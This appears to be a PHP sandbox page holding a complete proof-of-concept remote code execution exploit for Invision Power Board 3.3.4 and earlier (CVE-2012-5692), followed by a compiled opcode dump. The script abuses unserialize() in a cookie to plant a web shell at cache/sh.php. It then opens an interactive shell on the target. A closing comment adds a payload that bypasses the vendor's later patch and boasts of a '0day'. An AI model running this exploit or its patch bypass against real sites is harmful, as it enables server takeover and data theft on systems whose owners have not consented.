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run code in 300+ PHP versions simultaneously
<?php /* ---------------------------------------------------------------- Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution ---------------------------------------------------------------- author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......: http://www.invisionpower.com/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php 4015. static public function get($name) 4016. { 4017. // Check internal data first 4018. if ( isset( self::$_cookiesSet[ $name ] ) ) 4019. { 4020. return self::$_cookiesSet[ $name ]; 4021. } 4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) ) 4023. { 4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ]; 4025. 4026. if ( substr( $_value, 0, 2 ) == 'a:' ) 4027. { 4028. return unserialize( stripslashes( urldecode( $_value ) ) ); 4029. } The vulnerability is caused due to this method unserialize user input passed through cookies without a proper sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this reason successful exploitation of this vulnerability requires short_open_tag to be enabled. [-] Disclosure timeline: [21/10/2012] - Vulnerability discovered [23/10/2012] - Vendor notified [25/10/2012] - Patch released: http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update [25/10/2012] - CVE number requested [29/10/2012] - Assigned CVE-2012-5692 [31/10/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set('default_socket_timeout', 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+---------------------------------------------------------------------+"; print "\n| Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX |"; print "\n+---------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /ipb/\n"; die(); } list($host, $path) = array($argv[1], $argv[2]); $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ? $m[1] : ''; class db_driver_mysql { public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php'); } $payload = urlencode(serialize(array(new db_driver_mysql))); $phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>'; $packet = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$_prefix}member_id={$payload}\r\n"; $packet .= "Connection: close\r\n\r\n"; http_send($host, $packet); $packet = "GET {$path}cache/sh.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n"); while(1) { print "\nipb-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } /* So this is the patch that sanitizes, static public function safeUnserialize( $serialized ) { // unserialize will return false for object declared with small cap o // as well as if there is any ws between O and : if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false ) { if ( strpos( $serialized, 'O:' ) === false ) { // the easy case, nothing to worry about // let unserialize do the job return @unserialize( $serialized ); } else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) ) { // in case we did have a string with O: in it, // but it was not a true serialized object return @unserialize( $serialized ); } } return false; } And this is what bypasses it ( By @i0n1c ) $payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}'); Which makes this an IPB 0day. lulz! - webDEViL */ ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 15, Position 2 = 31
Branch analysis from position: 15
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 31
2 jumps found. (Code = 43) Position 1 = 59, Position 2 = 62
Branch analysis from position: 59
1 jumps found. (Code = 42) Position 1 = 63
Branch analysis from position: 63
2 jumps found. (Code = 43) Position 1 = 115, Position 2 = 116
Branch analysis from position: 115
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 116
1 jumps found. (Code = 42) Position 1 = 154
Branch analysis from position: 154
2 jumps found. (Code = 44) Position 1 = 155, Position 2 = 117
Branch analysis from position: 155
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 117
2 jumps found. (Code = 43) Position 1 = 128, Position 2 = 129
Branch analysis from position: 128
1 jumps found. (Code = 42) Position 1 = 155
Branch analysis from position: 155
Branch analysis from position: 129
2 jumps found. (Code = 43) Position 1 = 147, Position 2 = 151
Branch analysis from position: 147
1 jumps found. (Code = 42) Position 1 = 153
Branch analysis from position: 153
2 jumps found. (Code = 44) Position 1 = 155, Position 2 = 117
Branch analysis from position: 155
Branch analysis from position: 117
Branch analysis from position: 151
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 62
2 jumps found. (Code = 43) Position 1 = 115, Position 2 = 116
Branch analysis from position: 115
Branch analysis from position: 116
filename:       /in/0icii
function name:  (null)
number of ops:  156
compiled vars:  !0 = $argc, !1 = $argv, !2 = $host, !3 = $path, !4 = $packet, !5 = $_prefix, !6 = $m, !7 = $payload, !8 = $phpcode, !9 = $cmd, !10 = $response
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   54     0  E >   INIT_FCALL                                               'error_reporting'
          1        SEND_VAL                                                 0
          2        DO_ICALL                                                 
   55     3        INIT_FCALL                                               'set_time_limit'
          4        SEND_VAL                                                 0
          5        DO_ICALL                                                 
   56     6        INIT_FCALL                                               'ini_set'
          7        SEND_VAL                                                 'default_socket_timeout'
          8        SEND_VAL                                                 5
          9        DO_ICALL                                                 
   65    10        ECHO                                                     '%0A%2B---------------------------------------------------------------------%2B'
   66    11        ECHO                                                     '%0A%7C+Invision+Power+Board+%3C%3D+3.3.4+Remote+Code+Execution+Exploit+by+EgiX+%7C'
   67    12        ECHO                                                     '%0A%2B---------------------------------------------------------------------%2B%0A'
   69    13        IS_SMALLER                                               !0, 3
         14      > JMPZ                                                     ~14, ->31
   71    15    >   ROPE_INIT                                     3  ~17     '%0AUsage......%3A+php+'
         16        FETCH_DIM_R                                      ~15     !1, 0
         17        ROPE_ADD                                      1  ~17     ~17, ~15
         18        ROPE_END                                      2  ~16     ~17, '+%3Chost%3E+%3Cpath%3E%0A'
         19        ECHO                                                     ~16
   72    20        ROPE_INIT                                     3  ~21     '%0AExample....%3A+php+'
         21        FETCH_DIM_R                                      ~19     !1, 0
         22        ROPE_ADD                                      1  ~21     ~21, ~19
         23        ROPE_END                                      2  ~20     ~21, '+localhost+%2F'
         24        ECHO                                                     ~20
   73    25        ROPE_INIT                                     3  ~25     '%0AExample....%3A+php+'
         26        FETCH_DIM_R                                      ~23     !1, 0
         27        ROPE_ADD                                      1  ~25     ~25, ~23
         28        ROPE_END                                      2  ~24     ~25, '+localhost+%2Fipb%2F%0A'
         29        ECHO                                                     ~24
   74    30      > EXIT                                                     
   77    31    >   FETCH_DIM_R                                      ~27     !1, 1
         32        INIT_ARRAY                                       ~28     ~27
         33        FETCH_DIM_R                                      ~29     !1, 2
         34        ADD_ARRAY_ELEMENT                                ~28     ~29
         35        FETCH_LIST_R                                     $30     ~28, 0
         36        ASSIGN                                                   !2, $30
         37        FETCH_LIST_R                                     $32     ~28, 1
         38        ASSIGN                                                   !3, $32
         39        FREE                                                     ~28
   79    40        ROPE_INIT                                     3  ~35     'GET+'
         41        ROPE_ADD                                      1  ~35     ~35, !3
         42        ROPE_END                                      2  ~34     ~35, 'index.php+HTTP%2F1.0%0D%0A'
         43        ASSIGN                                                   !4, ~34
   80    44        ROPE_INIT                                     3  ~39     'Host%3A+'
         45        ROPE_ADD                                      1  ~39     ~39, !2
         46        ROPE_END                                      2  ~38     ~39, '%0D%0A'
         47        ASSIGN_OP                                     8          !4, ~38
   81    48        ASSIGN_OP                                     8          !4, 'Connection%3A+close%0D%0A%0D%0A'
   83    49        INIT_FCALL                                               'preg_match'
         50        SEND_VAL                                                 '%2FCookie%3A+%28.%2B%29session%2F'
         51        INIT_FCALL                                               'http_send'
         52        SEND_VAR                                                 !2
         53        SEND_VAR                                                 !4
         54        DO_FCALL                                      0  $43     
         55        SEND_VAR                                                 $43
         56        SEND_REF                                                 !6
         57        DO_ICALL                                         $44     
         58      > JMPZ                                                     $44, ->62
         59    >   FETCH_DIM_R                                      ~45     !6, 1
         60        QM_ASSIGN                                        ~46     ~45
         61      > JMP                                                      ->63
         62    >   QM_ASSIGN                                        ~46     ''
         63    >   ASSIGN                                                   !5, ~46
   90    64        INIT_FCALL                                               'urlencode'
         65        INIT_FCALL                                               'serialize'
         66        NEW                                              $48     'db_driver_mysql'
         67        DO_FCALL                                      0          
         68        INIT_ARRAY                                       ~50     $48
         69        SEND_VAL                                                 ~50
         70        DO_ICALL                                         $51     
         71        SEND_VAR                                                 $51
         72        DO_ICALL                                         $52     
         73        ASSIGN                                                   !7, $52
   91    74        ASSIGN                                                   !8, '%3C%3Ferror_reporting%280%29%3Bprint%28___%29%3Bpassthru%28base64_decode%28%24_SERVER%5BHTTP_CMD%5D%29%29%3Bdie%3B%3F%3E'
   93    75        ROPE_INIT                                     5  ~56     'GET+'
         76        ROPE_ADD                                      1  ~56     ~56, !3
         77        ROPE_ADD                                      2  ~56     ~56, 'index.php%3F'
         78        ROPE_ADD                                      3  ~56     ~56, !8
         79        ROPE_END                                      4  ~55     ~56, '+HTTP%2F1.0%0D%0A'
         80        ASSIGN                                                   !4, ~55
   94    81        ROPE_INIT                                     3  ~61     'Host%3A+'
         82        ROPE_ADD                                      1  ~61     ~61, !2
         83        ROPE_END                                      2  ~60     ~61, '%0D%0A'
         84        ASSIGN_OP                                     8          !4, ~60
   95    85        ROPE_INIT                                     5  ~65     'Cookie%3A+'
         86        ROPE_ADD                                      1  ~65     ~65, !5
         87        ROPE_ADD                                      2  ~65     ~65, 'member_id%3D'
         88        ROPE_ADD                                      3  ~65     ~65, !7
         89        ROPE_END                                      4  ~64     ~65, '%0D%0A'
         90        ASSIGN_OP                                     8          !4, ~64
   96    91        ASSIGN_OP                                     8          !4, 'Connection%3A+close%0D%0A%0D%0A'
   98    92        INIT_FCALL                                               'http_send'
         93        SEND_VAR                                                 !2
         94        SEND_VAR                                                 !4
         95        DO_FCALL                                      0          
  100    96        ROPE_INIT                                     3  ~72     'GET+'
         97        ROPE_ADD                                      1  ~72     ~72, !3
         98        ROPE_END                                      2  ~71     ~72, 'cache%2Fsh.php+HTTP%2F1.0%0D%0A'
         99        ASSIGN                                                   !4, ~71
  101   100        ROPE_INIT                                     3  ~76     'Host%3A+'
        101        ROPE_ADD                                      1  ~76     ~76, !2
        102        ROPE_END                                      2  ~75     ~76, '%0D%0A'
        103        ASSIGN_OP                                     8          !4, ~75
  102   104        ASSIGN_OP                                     8          !4, 'Cmd%3A+%25s%0D%0A'
  103   105        ASSIGN_OP                                     8          !4, 'Connection%3A+close%0D%0A%0D%0A'
  105   106        INIT_FCALL                                               'preg_match'
        107        SEND_VAL                                                 '%2F%3C%5C%3Ferror%2F'
        108        INIT_FCALL                                               'http_send'
        109        SEND_VAR                                                 !2
        110        SEND_VAR                                                 !4
        111        DO_FCALL                                      0  $81     
        112        SEND_VAR                                                 $81
        113        DO_ICALL                                         $82     
        114      > JMPZ                                                     $82, ->116
        115    > > EXIT                                                     '%0A%5B-%5D+short_open_tag+disabled%21%0A'
  107   116    > > JMP                                                      ->154
  109   117    >   ECHO                                                     '%0Aipb-shell%23+'
  110   118        INIT_FCALL                                               'trim'
        119        INIT_FCALL                                               'fgets'
        120        FETCH_CONSTANT                                   ~83     'STDIN'
        121        SEND_VAL                                                 ~83
        122        DO_ICALL                                         $84     
        123        SEND_VAR                                                 $84
        124        DO_ICALL                                         $85     
        125        ASSIGN                                           ~86     !9, $85
        126        IS_EQUAL                                                 ~86, 'exit'
        127      > JMPZ                                                     ~87, ->129
        128    > > JMP                                                      ->155
  111   129    >   INIT_FCALL                                               'http_send'
        130        SEND_VAR                                                 !2
        131        INIT_FCALL                                               'sprintf'
        132        SEND_VAR                                                 !4
        133        INIT_FCALL                                               'base64_encode'
        134        SEND_VAR                                                 !9
        135        DO_ICALL                                         $88     
        136        SEND_VAR                                                 $88
        137        DO_ICALL                                         $89     
        138        SEND_VAR                                                 $89
        139        DO_FCALL                                      0  $90     
        140        ASSIGN                                                   !10, $90
  112   141        INIT_FCALL                                               'preg_match'
        142        SEND_VAL                                                 '%2F___%28.%2A%29%2Fs'
        143        SEND_VAR                                                 !10
        144        SEND_REF                                                 !6
        145        DO_ICALL                                         $92     
        146      > JMPZ                                                     $92, ->151
        147    >   FETCH_DIM_R                                      ~93     !6, 1
        148        ECHO                                                     ~93
        149        QM_ASSIGN                                        ~94     1
        150      > JMP                                                      ->153
        151    > > EXIT                                                     '%0A%5B-%5D+Exploit+failed%21%0A'
        152*       QM_ASSIGN                                        ~94     <true>
        153    >   FREE                                                     ~94
  107   154    > > JMPNZ                                                    1, ->117
  150   155    > > RETURN                                                   1

Function http_send:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 9, Position 2 = 13
Branch analysis from position: 9
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 13
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/0icii
function name:  http_send
number of ops:  22
compiled vars:  !0 = $host, !1 = $packet, !2 = $sock
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   58     0  E >   RECV                                             !0      
          1        RECV                                             !1      
   60     2        INIT_FCALL                                               'fsockopen'
          3        SEND_VAR                                                 !0
          4        SEND_VAL                                                 80
          5        DO_ICALL                                         $3      
          6        ASSIGN                                           ~4      !2, $3
          7        BOOL_NOT                                         ~5      ~4
          8      > JMPZ                                                     ~5, ->13
          9    >   ROPE_INIT                                     3  ~7      '%0A%5B-%5D+No+response+from+'
         10        ROPE_ADD                                      1  ~7      ~7, !0
         11        ROPE_END                                      2  ~6      ~7, '%3A80%0A'
         12      > EXIT                                                     ~6
   61    13    >   INIT_FCALL                                               'fputs'
         14        SEND_VAR                                                 !2
         15        SEND_VAR                                                 !1
         16        DO_ICALL                                                 
   62    17        INIT_FCALL                                               'stream_get_contents'
         18        SEND_VAR                                                 !2
         19        DO_ICALL                                         $10     
         20      > RETURN                                                   $10
   63    21*     > RETURN                                                   null

End of function http_send

Class db_driver_mysql: [no user functions]

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
187.93 ms | 1415 KiB | 43 Q